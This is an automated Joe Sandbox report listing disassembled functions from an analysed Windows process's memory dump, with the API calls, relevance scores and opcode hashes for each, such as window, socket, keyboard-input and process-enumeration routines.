Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f428f921a1218c08ee32032ab0d1f6225ce3c1ba697fc11ee52809afe507f83
Instruction ID: f7fa707f98de5a2aebf3311749a10904e16ebfb768561d891c1b9dff9bef9686
Opcode Fuzzy Hash: 1f428f921a1218c08ee32032ab0d1f6225ce3c1ba697fc11ee52809afe507f83
Instruction Fuzzy Hash: 5EC13875A0020AAFDB14CFA8C894BAEB7B5FF49708F209598E505EF251D731EE45CB90

Function 00EC342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00EC3459
CoUninitialize.OLE32 ref: 00EC3463
VariantInit.OLEAUT32(?), ref: 00EC346E
VariantClear.OLEAUT32(?), ref: 00EC371B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: be888827a63484088aba7ab07c652a3e347e22f6f0c0eca7abb89b09bdd3a132
Instruction ID: 7463e5888849321e6949a89b51e228dcbb0178211be015e02ba9c019b6389e5c
Opcode Fuzzy Hash: be888827a63484088aba7ab07c652a3e347e22f6f0c0eca7abb89b09bdd3a132
Instruction Fuzzy Hash: 5FA167756042109FC700DF28C585E6AB7E5FF88314F14985DF98AAB362DB35EE06CB91

Function 00EA0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00EDFC08,?), ref: 00EA05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00EDFC08,?), ref: 00EA0608
CLSIDFromProgID.OLE32(?,?,00000000,00EDCC40,000000FF,?,00000000,00000800,00000000,?,00EDFC08,?), ref: 00EA062D
_memcmp.LIBVCRUNTIME ref: 00EA064E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 6ad60c8405859170d7bf2f032f6da8fe74f61b845d521b143eaf4201f03f6c09
Instruction ID: 607f98472032dfb2156f945ae8a67845d28fb4608194800e8a3f99aacd6fdc5f
Opcode Fuzzy Hash: 6ad60c8405859170d7bf2f032f6da8fe74f61b845d521b143eaf4201f03f6c09
Instruction Fuzzy Hash: 04812B75A00109EFCB04DF94C984EEEB7B9FF89315F205598E516BB250DB71AE06CB60

Function 00E81391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E814C0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e2049d6f878ba06c942b63a65179772ada05539deaba35adb9c8e10167558467
Instruction ID: de2fa5699bfb5755bf77ee8ebc0ca8684a9e7ad43b59588ff4186fbffbd94090
Opcode Fuzzy Hash: e2049d6f878ba06c942b63a65179772ada05539deaba35adb9c8e10167558467
Instruction Fuzzy Hash: D0417D31A40100ABDB217BF9AC45ABE3BEDEF41370F1462A5F43DF21A2E67448435761

Function 00ED6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00ED62E2
ScreenToClient.USER32(?,?), ref: 00ED6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00ED6382

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 382727c7f606b1008a10cc2e06a4488cd145ffd47ede7cd67c5dce5d8272cf01
Instruction ID: ed7ef3c5350704fc06c7ea2251643edd84dd879ed7332e0fd8dcc9c7024f4c13
Opcode Fuzzy Hash: 382727c7f606b1008a10cc2e06a4488cd145ffd47ede7cd67c5dce5d8272cf01
Instruction Fuzzy Hash: CA512D74900209AFDF10DF68D8809AE7BB5FF95364F10925AF925AB3A0D730ED42CB50

Function 00EC1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00EC1AFD
WSAGetLastError.WSOCK32 ref: 00EC1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00EC1B8A
WSAGetLastError.WSOCK32 ref: 00EC1B94

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 702cfca242b2c6ae904dc5a423722bfbaaadb3063ae6baffdc00742f6ffb2d3e
Instruction ID: 1fe8fc04447f65f023f47a2b621ba7f3df72558c73d5263e8aad39c98f371ca5
Opcode Fuzzy Hash: 702cfca242b2c6ae904dc5a423722bfbaaadb3063ae6baffdc00742f6ffb2d3e
Instruction Fuzzy Hash: 8541BB34600201AFE720AF24D986F2A77E5AB45718F54948CF91AAF3D3D772ED42CB90

Function 00E7B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582d45ad4665ed6982358232c169e71aa2043f081a02704233f3a2654b6e29b7
Instruction ID: d212b9d13aec51cd84143a55c4d9b9f749769f82c00eea0fec61e5c7740e6829
Opcode Fuzzy Hash: 582d45ad4665ed6982358232c169e71aa2043f081a02704233f3a2654b6e29b7
Instruction Fuzzy Hash: 1E411971A40304BFD724AF38CC41BAABBF9EB84710F10966EF559FB292E77199018780

Function 00EB56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00EB5783
GetLastError.KERNEL32(?,00000000), ref: 00EB57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00EB57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00EB57FA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d8d6f4d8bf67a143e7af84ecebad089c2b239768744b9c3f4279e3ebe5fbe2e9
Instruction ID: 7156527d8f8483fffd3aa34361b6db0c9faddfe2220cd259f7797a312e4e388a
Opcode Fuzzy Hash: d8d6f4d8bf67a143e7af84ecebad089c2b239768744b9c3f4279e3ebe5fbe2e9
Instruction Fuzzy Hash: ED413D35600A11DFCB11DF15D544A5EBBE2EF89324B189899E84ABF362CB35FD00CB91

Function 00E7D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00E682D9,?,00E682D9,?,00000001,?,?,00000001,00E682D9,00E682D9), ref: 00E7D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00E7D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00E7D9AB
__freea.LIBCMT ref: 00E7D9B4

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4ab87cb1ce22cc9815c6659eb1810d135b5c4db2824c9b8f52377f934d68c7a3
Instruction ID: 56004ef0c587fecd4889223df945accdaf90b145b656466b97644e3c1a3fe1a2
Opcode Fuzzy Hash: 4ab87cb1ce22cc9815c6659eb1810d135b5c4db2824c9b8f52377f934d68c7a3
Instruction Fuzzy Hash: 1131CE72A0021AABDB249F65DC41EAE7BB5EF80354B158268FD08E6290EB75CD54CB90

Function 00ED52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00ED5352
GetWindowLongW.USER32(?,000000F0), ref: 00ED5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00ED5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00ED53A8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: e35aa7cc9964b49eba6a279ab20ceaf9a4aa3f6564a8cf0f2bca075f1aa392f8
Instruction ID: edafc73a8898fc41d4c36f75bb6b03d195d0f78203ce7753ff2d0f128057fa27
Opcode Fuzzy Hash: e35aa7cc9964b49eba6a279ab20ceaf9a4aa3f6564a8cf0f2bca075f1aa392f8
Instruction Fuzzy Hash: 4831E232A55A0CEFEB309B14CC05BE837A1EB043D4F586103FA10B63E5C7B09942EB42

Function 00EAAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00EAABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00EAAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00EAAC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00EAACC6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 1323fb4234f62e0304ee0faeba8131fe29241d5bb670ae705dba50671935e9bc
Instruction ID: e287bfbce0c2ed0d5928478b1d60e17c1517b2d8a23b6245b8a6ae21e6b5696b
Opcode Fuzzy Hash: 1323fb4234f62e0304ee0faeba8131fe29241d5bb670ae705dba50671935e9bc
Instruction Fuzzy Hash: 4C311A309007186FFF35CB6598047FAFBA5AB4E334F0C622AE4817A1D1C375A945C752

Function 00ED7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00ED769A
GetWindowRect.USER32(?,?), ref: 00ED7710
PtInRect.USER32(?,?,00ED8B89), ref: 00ED7720
MessageBeep.USER32(00000000), ref: 00ED778C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 3d6e2265923eb9ddd7ff3d51c2789966ed10b708f9c961ccef6ba08834ae0aff
Instruction ID: e81973d2f1e9507e7b34afca13f96bdd1bd6d0e542645d7a52cfb8cd97e1db55
Opcode Fuzzy Hash: 3d6e2265923eb9ddd7ff3d51c2789966ed10b708f9c961ccef6ba08834ae0aff
Instruction Fuzzy Hash: D241BC34A092189FCB01CF58C884EA977F0FB48315F5594ABE9A4AB360E330E942CB90

Function 00ED16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00ED16EB

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00EA25B3), ref: 00EA3A65

GetCaretPos.USER32(?), ref: 00ED16FF
ClientToScreen.USER32(00000000,?), ref: 00ED174C
GetForegroundWindow.USER32 ref: 00ED1752

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 6479599717cdd6e7652347ad5002ac7c6c161caf00bd3813cdd4ee039debcf75
Instruction ID: e5be881473e7a8da7a368949b1abb3619993eab547a32e1b090482835c5ca21d
Opcode Fuzzy Hash: 6479599717cdd6e7652347ad5002ac7c6c161caf00bd3813cdd4ee039debcf75
Instruction Fuzzy Hash: BB316F75E01249AFC700EFAAD881CAEBBF9EF49304B5490AAE415F7211D731DE45CBA0

Function 00EAD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00EAD501
Process32FirstW.KERNEL32(00000000,?), ref: 00EAD50F
Process32NextW.KERNEL32(00000000,?), ref: 00EAD52F
CloseHandle.KERNEL32(00000000), ref: 00EAD5DC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0fd0f7bc04876bfc20f26b67ee6fea63bafc67718f910b1d4d173cdd78353189
Instruction ID: c6315df6c394dce4720fb49039a8b2a2441ac3719c3031c99d2c177eb480c223
Opcode Fuzzy Hash: 0fd0f7bc04876bfc20f26b67ee6fea63bafc67718f910b1d4d173cdd78353189
Instruction Fuzzy Hash: 2331A4315083019FD304EF54EC81AAFBBF8EFD9354F14052DF582A61A2EB71A948CB92

Function 00ED8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

GetCursorPos.USER32(?), ref: 00ED9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00E97711,?,?,?,?,?), ref: 00ED9016
GetCursorPos.USER32(?), ref: 00ED905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00E97711,?,?,?), ref: 00ED9094

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: a248a83aac3353cd1fb5ab84f60589c43b972494792f128f6b922658c084b367
Instruction ID: 3ed1458825d1c45a46395cb4f9a43aee0cdd0a93b4e0801ffb99ebc8d2ca23de
Opcode Fuzzy Hash: a248a83aac3353cd1fb5ab84f60589c43b972494792f128f6b922658c084b367
Instruction Fuzzy Hash: 6121D331600018EFDB259F94EC58EFA3BB9FF49350F148156F905AB2A2C3759991EB60

Function 00EAD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00EDCB68), ref: 00EAD2FB
GetLastError.KERNEL32 ref: 00EAD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00EAD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00EDCB68), ref: 00EAD376

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ca7529efec5dd0261dfa50066d84bd69d1e7e49cb8db56b13543c2e1e2ea7c48
Instruction ID: 40d173e5158b41f47e16d46e50bc7579a6a149a65010d48e801b62e65f79e2b1
Opcode Fuzzy Hash: ca7529efec5dd0261dfa50066d84bd69d1e7e49cb8db56b13543c2e1e2ea7c48
Instruction Fuzzy Hash: 802194705097019F8700DF28D8814AE77E4EF5A358F205A1EF496EB2A1D730E94ACB93

Function 00EA1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00EA102A
Part of subcall function 00EA1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1036
Part of subcall function 00EA1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1045
Part of subcall function 00EA1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA104C
Part of subcall function 00EA1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00EA15BE
_memcmp.LIBVCRUNTIME ref: 00EA15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA1617
HeapFree.KERNEL32(00000000), ref: 00EA161E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: dba0d55ccba0aaa211415d03495aa3ee3d0f557ea974e5f158b0ca3f21f72511
Instruction ID: a8581ba0c74e7e47cedb82923b4e3e9bff9cbd6b5fe0a3ad20cdd7a3b2490f82
Opcode Fuzzy Hash: dba0d55ccba0aaa211415d03495aa3ee3d0f557ea974e5f158b0ca3f21f72511
Instruction Fuzzy Hash: 15218931E41109EFDF00DFA4C945BEEB7B8EF89348F184499E441BB241E730AA49CBA0

Function 00ED2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00ED280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00ED2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00ED2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00ED2840

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: e0016767aa213dd2726548dc9e1f0aedaf4b6112aa07c6b290c57897ac7b8f14
Instruction ID: fc424cb0a44a6c89ea2019a5e362aa31ad4059bb799d4213c33426f16b4ba5b8
Opcode Fuzzy Hash: e0016767aa213dd2726548dc9e1f0aedaf4b6112aa07c6b290c57897ac7b8f14
